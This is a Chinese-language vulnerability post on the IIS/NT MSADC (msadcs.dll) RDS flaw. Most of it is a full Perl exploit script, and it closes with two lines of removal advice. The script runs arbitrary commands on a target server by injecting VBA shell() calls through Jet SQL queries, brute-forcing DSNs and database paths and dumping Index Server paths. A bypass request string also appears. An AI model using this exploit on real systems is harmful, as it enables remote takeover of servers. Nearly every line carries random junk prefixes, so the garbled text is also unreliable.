IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1\ ~ "VF*{ SCHP L.n 涉及程序：
vn!3l1\+J Microsoft NT server
5h-SCB>P Tod&&T'UW 描述：
O)*+="Rg 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
BC #C9|n xp)sBM7A 详细：
T{. pM4Hd 如果你没有时间读详细内容的话，就删除:
?m}s 4a c:\Program Files\Common Files\System\Msadc\msadcs.dll
r&JgLC( 有关的安全问题就没有了。
4y?n
[/M/ u(>^ 3PJ+ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
p!7FpxZY ,{u
yG: 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
'(f* 2eE: 关于利用ODBC远程漏洞的描述，请参看:
y<|7z9 9L mb TEp* H http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i {NzV >V?eog %~ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
-` kW&I0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp i Dp)FQ$ %COX7gV 这里不再论述。
eK?MKe t7Iv?5]N 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
HZC"nb}r4 v6bGjVK[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
uK"=i8rs4 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
w !-gJmX> ghG**3xr F3@phu${ #将下面这段保存为txt文件，然后: "perl -x 文件名"
{ OkV %Q< xw,IJ/E$1 #!perl
.+3g*Dv{& #
|O\s|H # MSADC/RDS 'usage' (aka exploit) script
iAEbu&XG #
+US !YU # by rain.forest.puppy
|&+ o^ #
W.f / pu # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
x;P_1J%Q # beta test and find errors!
. \ULbN3Z 2ozax)GY use Socket; use Getopt::Std;
XFHYQ2ME2 getopts("e:vd:h:XR", \%args);
x:NY \._ S]e|"n~@ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
z,[Hli*0 ICx#{q@f, if (!defined $args{h} && !defined $args{R}) {
QC
OM_$ y print qq~
{tuYs: Usage: msadc.pl -h <host> { -d <delay> -X -v }
.Ni\\ -h <host> = host you want to scan (ip or domain)
2 /\r)$
2i -d <seconds> = delay between calls, default 1 second
ArI2 wM/v -X = dump Index Server path table, if available
~F|+o}a `
-v = verbose
BQE|8g'&T -e = external dictionary file for step 5
l|J E # 'j8:vq^d Or a -R will resume a command session
u"cV%(# ar! R|zmf ~; exit;}
DZ'P@f)] {0Yf]FQb-a $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
r;.y z I if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*SbMqASv4G if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
taHJ u b if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
vA F
"n $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,F8 Y n5 h if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Db}j?ik/ ;40/yl3r3[ if (!defined $args{R}){ $ret = &has_msadc;
Fx_z 6a die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
sk<3`x+ |PCm01NU! print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0y 'H~( . "cmd /c ";
:1. L}4"gg $in=<STDIN>; chomp $in;
WTQ\PANAaR $command="cmd /c " . $in ;
8`B3;Zmm sQHv%]s 0 if (defined $args{R}) {&load; exit;}
p SH=%u> Eak$u>Fd8c print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Mlg0WrJ|2 &try_btcustmr;
L2[($ l W fN2bsx> print "\nStep 2: Trying to make our own DSN...";
V5 nwu# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
5,lEx1{_ hP%M?M KC print "\nStep 3: Trying known DSNs...";
y{B=-\ O] &known_dsn;
e\`&p T9E+\D print "\nStep 4: Trying known .mdbs...";
Tj` ,Z5vy &known_mdb;
"yy5F>0Wt >-RQ] ?^ if (defined $args{e}){
~OYiq}g print "\nStep 5: Trying dictionary of DSN names...";
x*\Y)9Vgy &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
'A=^S e`= t: x \kp print "Sorry Charley...maybe next time?\n";
b;B%q$sntC exit;
wtLO!=B PFlNo` iO ##############################################################################
\$~|ZwV{ $t'MSlF sub sendraw { # ripped and modded from whisker
!7O+og L sleep($delay); # it's a DoS on the server! At least on mine...
T@H ^BGs my ($pstr)=@_;
vFzRg5lH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^qvZXb die("Socket problems\n");
7dTkp!'X- if(connect(S,pack "SnA4x8",2,80,$target)){
p}z<Fdu 0 select(S); $|=1;
hn 7#
L print $pstr; my @in=<S>;
~f&E7su-6+ select(STDOUT); close(S);
;LKkbT
5 return @in;
J\} twYty } else { die("Can't connect...\n"); }}
e }?d b MIeU,KT#U ##############################################################################
a_^\=&?' xC?6v ' sub make_header { # make the HTTP request
]Grek< my $msadc=<<EOT
:".ARCg POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Gt8M&S-; User-Agent: ACTIVEDATA
,a{P4Bq Host: $ip
o=:9y-nH Content-Length: $clen
u"r`3P` Connection: Keep-Alive
D# 9m\o_ ?um;s-x) ADCClientVersion:01.06
wy<S; Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
dK$XNi13.5 0I-9nuw,^; --!ADM!ROX!YOUR!WORLD!
^&9z w\x;z Content-Type: application/x-varg
Hs;4lSyUO Content-Length: $reqlen
k{R> 60^`JVGWH EOT
p;`>e>$ ; $msadc=~s/\n/\r\n/g;
M !siK2 return $msadc;}
58}U^IW 6IN
e@ ##############################################################################
wQ:)KjhHH p}}R -D&K sub make_req { # make the RDS request
H*?t^ my ($switch, $p1, $p2)=@_;
ANAVn@ [ my $req=""; my $t1, $t2, $query, $dsn;
jKz$@gP =g7x'
kN if ($switch==1){ # this is the btcustmr.mdb query
nSDMOyj+ $query="Select * from Customers where City=" . make_shell();
gs^Xf;g vI $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*?@?f&E/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
]\-A;}\e ch* 8B(: elsif ($switch==2){ # this is general make table query
&@X<zWg $query="create table AZZ (B int, C varchar(10))";
{ T/[cu< $dsn="$p1";}
T=
8 0, kUb>^-
-K elsif ($switch==3){ # this is general exploit table query
|"q5sym8Y_ $query="select * from AZZ where C=" . make_shell();
{LI=:xJJv $dsn="$p1";}
rm'SO JVA ]6k\)# %2 elsif ($switch==4){ # attempt to hork file info from index server
f=+mIZ $query="select path from scope()";
JMCKcZ%N $dsn="Provider=MSIDXS;";}
ydEoC$?0 xWH.^o," elsif ($switch==5){ # bad query
?.m bK $query="select";
>F|>cc>_E $dsn="$p1";}
x;O[c3 I M5 LfRBO $t1= make_unicode($query);
~ gJwW+ $t2= make_unicode($dsn);
[Q~#82hBhY $req = "\x02\x00\x03\x00";
C#.->\ $req.= "\x08\x00" . pack ("S1", length($t1));
do hA0 $req.= "\x00\x00" . $t1 ;
i'<[DjMDlm $req.= "\x08\x00" . pack ("S1", length($t2));
9Z $"K- G $req.= "\x00\x00" . $t2 ;
F@D`N0Pte $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`{@8Vsmy: return $req;}
''cInTCr "`/h#np ##############################################################################
+q<jAW A +uF>2b6' sub make_shell { # this makes the shell() statement
-u+vJ6EY return "'|shell(\"$command\")|'";}
Gm&Za, 4%4 df8k7D;~e ##############################################################################
l ~"^7H?4e 3GYw+%Z] sub make_unicode { # quick little function to convert to unicode
@(w@e\Bq my ($in)=@_; my $out;
{f_={k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7DogM".}~Q return $out;}
5+4IN5o]= %@J.{@> ##############################################################################
/obfw ^ a@K%06A;' sub rdo_success { # checks for RDO return success (this is kludge)
R `5.[?Dt my (@in) = @_; my $base=content_start(@in);
4d4ZT? V[ if($in[$base]=~/multipart\/mixed/){
;J( 8
L return 1 if( $in[$base+10]=~/^\x09\x00/ );}
V;VHv=9`o return 0;}
3Y4?CM&0v F} y W/ ##############################################################################
](]i 'fE> [-1^-bb sub make_dsn { # this makes a DSN for us
BGZ# wr u my @drives=("c","d","e","f");
*->W^1eGM print "\nMaking DSN: ";
gT{Q#C2Baw foreach $drive (@drives) {
x
M/+L:_< print "$drive: ";
<18 ( my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_IHV7*u{; "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Wx%H%FeK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
S/hQZHZHg, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
wD}l$ & + return 0 if $2 eq "404"; # not found/doesn't exist
.&iawz if($2 eq "200") {
IVnHf_PzF foreach $line (@results) {
?/E~/;+ 7= return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
m#Jmdb_ } return 0;}
|)DGkO td HXC ;N p ##############################################################################
ITX a&5D f Sj5ZsO sub verify_exists {
.[KrlfI my ($page)=@_;
F@jZ ho my @results=sendraw("GET $page HTTP/1.0\n\n");
A/$Q aB,x return $results[0];}
J$DE"| - ; W
)Y
OT ##############################################################################
ij `w} V MTh<|$
sub try_btcustmr {
z]y.W`i my @drives=("c","d","e","f");
~8F k(E_ my @dirs=("winnt","winnt35","winnt351","win","windows");
=!A_^;NQf Z9ZPr?C= foreach $dir (@dirs) {
+4~_Ei[ i print "$dir -> "; # fun status so you can see progress
./Zk`-OBT foreach $drive (@drives) {
Lnl(2x D print "$drive: "; # ditto
K hR8 1\ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
nsC3 $reqlenlen=length( "$reqlen" );
Xf]d. : $clen= 206 + $reqlenlen + $reqlen;
k/_ 59@) )T2Caqs 2 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
z6\UGSL if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
;%9 |k U else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
9!\B6=r y4 |$Sedzj' ##############################################################################
N7zf t ? pmHFlx sub odbc_error {
VQt0 4? my (@in)=@_; my $base;
3,3N^nSD my $base = content_start(@in);
h
0Q5-EA if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
9d659i C $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^98~U\ar $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UYJZ YP%r $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
13=AW return $in[$base+4].$in[$base+5].$in[$base+6];}
kd(8I_i@ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
O"9\5(w print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
oxA<VWUNT $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
,AFu C < lIS-4QX1 ##############################################################################
e{K 215 )F>#*P sub verbose {
hBUn \ ~z my ($in)=@_;
nPl?K:( return if !$verbose;
`i*E~'
print STDOUT "\n$in\n";}
w+|L+ h3L7 n0 {i&[I~+ ##############################################################################
9wwqcx)3( '[:D$q; sub save {
~rKrpb]ow my ($p1, $p2, $p3, $p4)=@_;
L|xbR#v open(OUT, ">rds.save") || print "Problem saving parameters...\n";
s Y Qk print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{rw|# Z>A close OUT;}
&%DY \* ;bib/ ##############################################################################
8qTys 8 I" <\<^B< sub load {
_7 L-< my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Om\vMd@! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
*Kg ks 4 @p=<IN>; close(IN);
LckK\`mh $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Hg izW $target= inet_aton($ip) || die("inet_aton problems");
zu{P#~21 print "Resuming to $ip ...";
,!y$qVg'\f $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
G 4X|Bka if($p[1]==1) {
#OD/$f_ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,m:.-iy? $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
& l& :`nsJ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3yF,ak {Sl if (rdo_success(@results)){print "Success!\n";}
i%]EEVmN else { print "failed\n"; verbose(odbc_error(@results));}}
,T$U' &; elsif ($p[1]==3){
+gtbcF@rx if(run_query("$p[3]")){
E
A1?)|}n print "Success!\n";} else { print "failed\n"; }}
WiR(;m<g elsif ($p[1]==4){
] 72`}; if(run_query($drvst . "$p[3]")){
0@iY :aF print "Success!\n"; } else { print "failed\n"; }}
IY\5@P VZ exit;}
b9HtR -iR; 6j]0R*B7`Q ##############################################################################
m8h k:4 Ae g7`LEF < A sub create_table {
w``ST my ($in)=@_;
<)c)%'v $reqlen=length( make_req(2,$in,"") ) - 28;
Fj3a.' $reqlenlen=length( "$reqlen" );
/]Md~=yNp $clen= 206 + $reqlenlen + $reqlen;
h2]P]@nW;W my @results=sendraw(make_header() . make_req(2,$in,""));
xj;H&swo return 1 if rdo_success(@results);
~IBP|)WA- my $temp= odbc_error(@results); verbose($temp);
qiBVG H return 1 if $temp=~/Table 'AZZ' already exists/;
:>f )g return 0;}
@,7GaK\ A i?*s%8v ##############################################################################
,Uqs1#r joAv {Tc sub known_dsn {
f+ )L#>Gl? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
C1n>M}b my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
H3 =qe I "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
,j_i ?Ff "banner", "banners", "ads", "ADCDemo", "ADCTest");
!``,gExH u^I|T.w<r6 foreach $dSn (@dsns) {
j-}O0~Jz print ".";
29] G^f> next if (!is_access("DSN=$dSn"));
e 2oa($9 if(create_table("DSN=$dSn")){
oY3;. ;'bk print "$dSn successful\n";
fxHH;hRfv if(run_query("DSN=$dSn")){
0 ZKx<]! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$Sip$\+* print "Something's borked. Use verbose next time\n";}}} print "\n";}
Vv=. -&' |3"KK ##############################################################################
PB*&aYLU ~P **O~ sub is_access {
:{l_FY436 my ($in)=@_;
yq\K)g*= $reqlen=length( make_req(5,$in,"") ) - 28;
Y)2,PES= $reqlenlen=length( "$reqlen" );
p]+Pkxz]' $clen= 206 + $reqlenlen + $reqlen;
>@_^fw) my @results=sendraw(make_header() . make_req(5,$in,""));
uZ Kr my $temp= odbc_error(@results);
6 V=9M: verbose($temp); return 1 if ($temp=~/Microsoft Access/);
rw JIx|( return 0;}
Ioa$51& KRRdX x\~ ##############################################################################
qqY"*uJ' ItrDJ' sub run_query {
nMUw_7Y6 my ($in)=@_;
Fk7')? $reqlen=length( make_req(3,$in,"") ) - 28;
3bH'H*2 $reqlenlen=length( "$reqlen" );
aeM+ d`f $clen= 206 + $reqlenlen + $reqlen;
j6 z^Tt12 my @results=sendraw(make_header() . make_req(3,$in,""));
&@OT*pNna return 1 if rdo_success(@results);
x
g my $temp= odbc_error(@results); verbose($temp);
vXZOy%$o return 0;}
'_Fsv HQ
dkTX ##############################################################################
&n:.k}/ P QlU8uI[dk sub known_mdb {
C33J5'(CA my @drives=("c","d","e","f","g");
uHzU-FZ|B my @dirs=("winnt","winnt35","winnt351","win","windows");
GGs}i1m my $dir, $drive, $mdb;
f r6 fj my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
OA;XiR$xP Ai 3*QX # this is sparse, because I don't know of many
I,vJbvvl! my @sysmdbs=( "\\catroot\\icatalog.mdb",
]GkfEh7/J "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"@0]G<H
"\\system32\\certmdb.mdb",
+iRh "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ENs&RZ; JL{VD
/f my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Lk}J8 V^2 "\\cfusion\\cfapps\\forums\\forums_.mdb",
7 ~.9=I'A "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
V {ddr:]4 "\\cfusion\\cfapps\\security\\realm_.mdb",
]&+s6{} "\\cfusion\\cfapps\\security\\data\\realm.mdb",
3;]H 1
1 "\\cfusion\\database\\cfexamples.mdb",
8'io$ 6d= "\\cfusion\\database\\cfsnippets.mdb",
h MD|#A-< "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
c,+: i1IAy "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
'I6i ,+D/q "\\cfusion\\brighttiger\\database\\cleam.mdb",
M%P:n/j "\\cfusion\\database\\smpolicy.mdb",
,w4V?>l "\\cfusion\\database\cypress.mdb",
aj{Y\
3L "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
m~0/&RA "\\website\\cgi-win\\dbsample.mdb",
$B5aje}i "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
tFOhL9T "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
w+u3*/Zf ); #these are just
-X2Buz8 foreach $drive (@drives) {
9EibIOD^/ foreach $dir (@dirs){
I:1C8*/ foreach $mdb (@sysmdbs) {
U8n V[ print ".";
M-Y_ Wb3 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
!wh8'X* print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
=MDy s b&: if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
],Do6
@M- print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
P{ lB5 0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
sWn LEw G3Aes TT| foreach $drive (@drives) {
H8}oIA"b foreach $mdb (@mdbs) {
X2~!(WxU F print ".";
T!)(Dv8@F if(create_table($drv . $drive . $dir . $mdb)){
PIS2Ed] print "\n" . $drive . $dir . $mdb . " successful\n";
-k"/X8 if(run_query($drv . $drive . $dir . $mdb)){
P8/0H(, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
'3 ^'B0 3 } else { print "Something's borked. Use verbose next time\n"; }}}}
*_\_'@1|J) }
oV78Hq6 >e5 qv(y] ##############################################################################
U 0P~ 1f=gYzuO) sub hork_idx {
":QZ y8f9% print "\nAttempting to dump Index Server tables...\n";
TJXT-\Vk print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Cr yBwm $reqlen=length( make_req(4,"","") ) - 28;
LsU9 .
$reqlenlen=length( "$reqlen" );
bdE[;+58 $clen= 206 + $reqlenlen + $reqlen;
ZyFjFHe+ my @results=sendraw2(make_header() . make_req(4,"",""));
z 1X` o if (rdo_success(@results)){
^v7 g IC my $max=@results; my $c; my %d;
5 ">Z'+8 for($c=19; $c<$max; $c++){
D_zZXb Nc $results[$c]=~s/\x00//g;
suDQ ~\ n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
hf&9uHN%7m $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
V+ 9 MoT?8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
C B}2j $d{"$1$2"}="";}
SSMHo JGm foreach $c (keys %d){ print "$c\n"; }
J)p
l|I } else {print "Index server doesn't seem to be installed.\n"; }}
q9s=~d7 r$s Qf&= ##############################################################################
;vjOUn[E V1B5w_^>h' sub dsn_dict {
p9{mS7R9T open(IN, "<$args{e}") || die("Can't open external dictionary\n");
)MTOU47U while(<IN>){
#Ki[$bS~6 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&\*(Q* 2N next if (!is_access("DSN=$dSn"));
d5:c^` if(create_table("DSN=$dSn")){
j*r{2f4Rt print "$dSn successful\n";
m^;f(IK5 if(run_query("DSN=$dSn")){
c(s.5p ^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
xMG~N`r print "Something's borked. Use verbose next time\n";}}}
T {[=oH + print "\n"; close(IN);}
WCixKYq g{&ui.ml& ##############################################################################
<frutU16\ ; kI134i= sub sendraw2 { # ripped and modded from whisker
g e8ZsaiU sleep($delay); # it's a DoS on the server! At least on mine...
amY!qg0P* my ($pstr)=@_;
{&1/V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6i3$C W die("Socket problems\n");
[Y| t]^M if(connect(S,pack "SnA4x8",2,80,$target)){
Z4
=GM Xj print "Connected. Getting data";
JY(WK@ open(OUT,">raw.out"); my @in;
2`=7 _v select(S); $|=1; print $pstr;
_KAQ}G 3 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
]Er$*7f close(OUT); select(STDOUT); close(S); return @in;
-PR N:'T } else { die("Can't connect...\n"); }}
v mk2{f ,g '?(% Zxw%& ##############################################################################
w ;^ra<*<+ 86F1.ve sub content_start { # this will take in the server headers
>tW#/\x{ my (@in)=@_; my $c;
sLxc(d'A for ($c=1;$c<500;$c++) {
o|["SYIf if($in[$c] =~/^\x0d\x0a/){
A^<jy=F& if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
|aq"#Ml) else { return $c+1; }}}
JDT`C2-Q return -1;} # it should never get here actually
P@c5pc#| aAUvlb ##############################################################################
8F Y?!C ., 6-u sub funky {
-e:`|(Mo my (@in)=@_; my $error=odbc_error(@in);
Z/+#pWBI! if($error=~/ADO could not find the specified provider/){
iGB}Il) print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Mb~F%_ exit;}
JZyAXm% if($error=~/A Handler is required/){
$*fMR,~t& print "\nServer has custom handler filters (they most likely are patched)\n";
l!u_" I8j5 exit;}
g]0_5?i if($error=~/specified Handler has denied Access/){
zy
}$i? print "\nServer has custom handler filters (they most likely are patched)\n";
v`1M[ exit;}}
1p=]hC x U`p|(SS- ##############################################################################
H9e<v4 c 2[0 2,FG sub has_msadc {
_.8S& my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
#AQ V(;r7@ my $base=content_start(@results);
8bld3 p"^ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
~b8]H|<'Y return 0;}
h~zT ydnH /9fR'EO{x ########################
O :Tj"@h Qzw;i8n{ /mzlH 解决方案：
P ~X2^bw 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
EXqE ~afm2 2、移除web 目录: /msadc
